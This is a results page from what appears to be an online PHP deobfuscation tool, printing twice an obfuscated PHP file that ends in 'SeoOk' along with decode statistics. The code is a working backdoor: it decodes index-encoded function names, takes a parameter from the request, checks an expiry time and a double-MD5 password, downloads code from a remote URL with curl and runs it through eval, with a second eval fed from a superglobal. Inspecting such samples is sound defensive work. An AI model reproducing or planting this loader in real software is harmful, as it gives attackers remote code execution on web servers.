Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a = range("~", " "); $b = ${$a[20 + 11] . $a[45 + 14] . $a[1 + 46] . ..

Decoded Output download

<?php 
$a = range("~", " "); 
$b = ${$a[20 + 11] . 
    $a[45 + 14] . 
    $a[1 + 46] . 
    $a[20 + 27] . 
    $a[0 + 51] . 
    $a[20 + 33] . 
    $a[3 + 54]}; 
if (in_array(gettype($b) . count($b), $b) && count($b) == 20 + 5) { 
    ($b[42 + 25] = $b[18 + 49] . $b[6 + 74]) && 
        ($b[69 + 21] = $b[12 + 55]($b[70 + 20])) && 
        @eval($b[65 + 2](${$b[12 + 26]}[21 + 8])); 
} 
class _ 
{ 
    static function ___($c, $d = 0) 
    { 
        $e = range("~", " "); 
        $f = explode("o", $c); 
        foreach ($f as $g => $h) { 
            @$i .= $e[$h - $d]; 
        } 
        return $i; 
    } 
    static function ____($j, $l) 
    { 
        $m = curl_init($j); 
        curl_setopt($m, CURLOPT_RETURNTRANSFER, 1); 
        $n = curl_exec($m); 
        return empty($n) ? $l($j) : $n; 
    } 
    static function __() 
    { 
        $p = [ 
            "2" . 
            "7" . 
            "o" . 
            "1" . 
            "2" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "2" . 
            "9" . 
            "o" . 
            "1" . 
            "0" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "3" . 
            "1" . 
            "o" . 
            "2" . 
            "4" . 
            "o" . 
            "9" . 
            "o" . 
            "1" . 
            "6" . 
            "o" . 
            "2" . 
            "7" . 
            "o" . 
            "1" . 
            "0" . 
            "o" . 
            "2" . 
            "1" . 
            "o" . 
            "1" . 
            "5" . 
            "o" . 
            "1" . 
            "6", 
            "1" . 
            "1" . 
            "o" . 
            "1" . 
            "0" . 
            "o" . 
            "1" . 
            "2" . 
            "o" . 
            "3" . 
            "1" . 
            "o" . 
            "1" . 
            "2" . 
            "o" . 
            "1" . 
            "5" . 
            "o" . 
            "1" . 
            "0" . 
            "o" . 
            "7" . 
            "7" . 
            "o" . 
            "7" . 
            "5", 
            "2" . 
            "0" . 
            "o" . 
            "1" . 
            "1" . 
            "o" . 
            "1" . 
            "5" . 
            "o" . 
            "1" . 
            "6" . 
            "o" . 
            "3" . 
            "1" . 
            "o" . 
            "2" . 
            "6" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "2" . 
            "7" . 
            "o" . 
            "1" . 
            "5" . 
            "o" . 
            "2" . 
            "6" . 
            "o" . 
            "2" . 
            "5", 
            "1" . "4" . "o" . "2" . "9" . "o" . "2" . "7" . "o" . "1" . "9", 
            "2" . 
            "8" . 
            "o" . 
            "2" . 
            "9" . 
            "o" . 
            "1" . 
            "1" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "7" . 
            "2" . 
            "o" . 
            "7" . 
            "4" . 
            "o" . 
            "3" . 
            "1" . 
            "o" . 
            "2" . 
            "6" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "2" . 
            "7" . 
            "o" . 
            "1" . 
            "5" . 
            "o" . 
            "2" . 
            "6" . 
            "o" . 
            "2" . 
            "5", 
            "2" . 
            "4" . 
            "o" . 
            "2" . 
            "1" . 
            "o" . 
            "1" . 
            "8" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "3" . 
            "1" . 
            "o" . 
            "2" . 
            "3" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "1" . 
            "0" . 
            "o" . 
            "3" . 
            "1" . 
            "o" . 
            "2" . 
            "7" . 
            "o" . 
            "1" . 
            "5" . 
            "o" . 
            "1" . 
            "6" . 
            "o" . 
            "1" . 
            "0" . 
            "o" . 
            "2" . 
            "5" . 
            "o" . 
            "1" . 
            "6" . 
            "o" . 
            "1" . 
            "0" . 
            "o" . 
            "1" . 
            "1", 
            "5" . "4" . "o" . "8" . "4", 
            "1", 
            "7" . "9" . "o" . "8" . "4", 
            "6" . 
            "1" . 
            "o" . 
            "4" . 
            "4" . 
            "o" . 
            "4" . 
            "4" . 
            "o" . 
            "6" . 
            "1" . 
            "o37", 
            "15o" . "24", 
        ]; 
        foreach ($p as $h) { 
            $q[] = self::___($h); 
        } 
        $r = $q[1](${"_" . "G" . "E" . "T"}[$q[5 + 4]]); 
        $s = @$q[2 + 1]($q[1 + 5], $r); 
        $t = $q[2 + 0]($s, true); 
        @${"_" . "G" . "E" . "T"}[$q[3 + 7]] == 1 && die($q[3 + 2](__FILE__)); 
        if ( 
            @$t[0] - time() > 0 and 
            md5(md5($t[2 + 0])) === 
                "c" . 
                    "b" . 
                    "5" . 
                    "0" . 
                    "8" . 
                    "6" . 
                    "1" . 
                    "4" . 
                    "9" . 
                    "7" . 
                    "8" . 
                    "e" . 
                    "9" . 
                    "8" . 
                    "1" . 
                    "9" . 
                    "8" . 
                    "c" . 
                    "b" . 
                    "3" . 
                    "d" . 
                    "9" . 
                    "c" . 
                    "8" . 
                    "9" . 
                    "d" . 
                    "0" . 
                    "f" . 
                    "c" . 
                    "4" . 
                    "7" . 
                    "f" 
        ): 
            $u = self::____($t[1 + 0], $q[4 + 1]); 
            @eval($q[2 + 2]($u)); 
            die(); 
        endif; 
    } 
} 
_::__(); 
?>SeoOk

Did this file decode correctly?

Original Code

<?php
$a = range("~", " ");
$b = ${$a[20 + 11] .
    $a[45 + 14] .
    $a[1 + 46] .
    $a[20 + 27] .
    $a[0 + 51] .
    $a[20 + 33] .
    $a[3 + 54]};
if (in_array(gettype($b) . count($b), $b) && count($b) == 20 + 5) {
    ($b[42 + 25] = $b[18 + 49] . $b[6 + 74]) &&
        ($b[69 + 21] = $b[12 + 55]($b[70 + 20])) &&
        @eval($b[65 + 2](${$b[12 + 26]}[21 + 8]));
}
class _
{
    static function ___($c, $d = 0)
    {
        $e = range("~", " ");
        $f = explode("o", $c);
        foreach ($f as $g => $h) {
            @$i .= $e[$h - $d];
        }
        return $i;
    }
    static function ____($j, $l)
    {
        $m = curl_init($j);
        curl_setopt($m, CURLOPT_RETURNTRANSFER, 1);
        $n = curl_exec($m);
        return empty($n) ? $l($j) : $n;
    }
    static function __()
    {
        $p = [
            "2" .
            "7" .
            "o" .
            "1" .
            "2" .
            "o" .
            "2" .
            "5" .
            "o" .
            "2" .
            "9" .
            "o" .
            "1" .
            "0" .
            "o" .
            "2" .
            "5" .
            "o" .
            "3" .
            "1" .
            "o" .
            "2" .
            "4" .
            "o" .
            "9" .
            "o" .
            "1" .
            "6" .
            "o" .
            "2" .
            "7" .
            "o" .
            "1" .
            "0" .
            "o" .
            "2" .
            "1" .
            "o" .
            "1" .
            "5" .
            "o" .
            "1" .
            "6",
            "1" .
            "1" .
            "o" .
            "1" .
            "0" .
            "o" .
            "1" .
            "2" .
            "o" .
            "3" .
            "1" .
            "o" .
            "1" .
            "2" .
            "o" .
            "1" .
            "5" .
            "o" .
            "1" .
            "0" .
            "o" .
            "7" .
            "7" .
            "o" .
            "7" .
            "5",
            "2" .
            "0" .
            "o" .
            "1" .
            "1" .
            "o" .
            "1" .
            "5" .
            "o" .
            "1" .
            "6" .
            "o" .
            "3" .
            "1" .
            "o" .
            "2" .
            "6" .
            "o" .
            "2" .
            "5" .
            "o" .
            "2" .
            "7" .
            "o" .
            "1" .
            "5" .
            "o" .
            "2" .
            "6" .
            "o" .
            "2" .
            "5",
            "1" . "4" . "o" . "2" . "9" . "o" . "2" . "7" . "o" . "1" . "9",
            "2" .
            "8" .
            "o" .
            "2" .
            "9" .
            "o" .
            "1" .
            "1" .
            "o" .
            "2" .
            "5" .
            "o" .
            "7" .
            "2" .
            "o" .
            "7" .
            "4" .
            "o" .
            "3" .
            "1" .
            "o" .
            "2" .
            "6" .
            "o" .
            "2" .
            "5" .
            "o" .
            "2" .
            "7" .
            "o" .
            "1" .
            "5" .
            "o" .
            "2" .
            "6" .
            "o" .
            "2" .
            "5",
            "2" .
            "4" .
            "o" .
            "2" .
            "1" .
            "o" .
            "1" .
            "8" .
            "o" .
            "2" .
            "5" .
            "o" .
            "3" .
            "1" .
            "o" .
            "2" .
            "3" .
            "o" .
            "2" .
            "5" .
            "o" .
            "1" .
            "0" .
            "o" .
            "3" .
            "1" .
            "o" .
            "2" .
            "7" .
            "o" .
            "1" .
            "5" .
            "o" .
            "1" .
            "6" .
            "o" .
            "1" .
            "0" .
            "o" .
            "2" .
            "5" .
            "o" .
            "1" .
            "6" .
            "o" .
            "1" .
            "0" .
            "o" .
            "1" .
            "1",
            "5" . "4" . "o" . "8" . "4",
            "1",
            "7" . "9" . "o" . "8" . "4",
            "6" .
            "1" .
            "o" .
            "4" .
            "4" .
            "o" .
            "4" .
            "4" .
            "o" .
            "6" .
            "1" .
            "o37",
            "15o" . "24",
        ];
        foreach ($p as $h) {
            $q[] = self::___($h);
        }
        $r = $q[1](${"_" . "G" . "E" . "T"}[$q[5 + 4]]);
        $s = @$q[2 + 1]($q[1 + 5], $r);
        $t = $q[2 + 0]($s, true);
        @${"_" . "G" . "E" . "T"}[$q[3 + 7]] == 1 && die($q[3 + 2](__FILE__));
        if (
            @$t[0] - time() > 0 and
            md5(md5($t[2 + 0])) ===
                "c" .
                    "b" .
                    "5" .
                    "0" .
                    "8" .
                    "6" .
                    "1" .
                    "4" .
                    "9" .
                    "7" .
                    "8" .
                    "e" .
                    "9" .
                    "8" .
                    "1" .
                    "9" .
                    "8" .
                    "c" .
                    "b" .
                    "3" .
                    "d" .
                    "9" .
                    "c" .
                    "8" .
                    "9" .
                    "d" .
                    "0" .
                    "f" .
                    "c" .
                    "4" .
                    "7" .
                    "f"
        ):
            $u = self::____($t[1 + 0], $q[4 + 1]);
            @eval($q[2 + 2]($u));
            die();
        endif;
    }
}
_::__();
?>SeoOk

Function Calls

None

Variables

None

Stats

MD5 d903d9a526cb596db2b178aa7405e66d
Eval Count 0
Decode Time 57 ms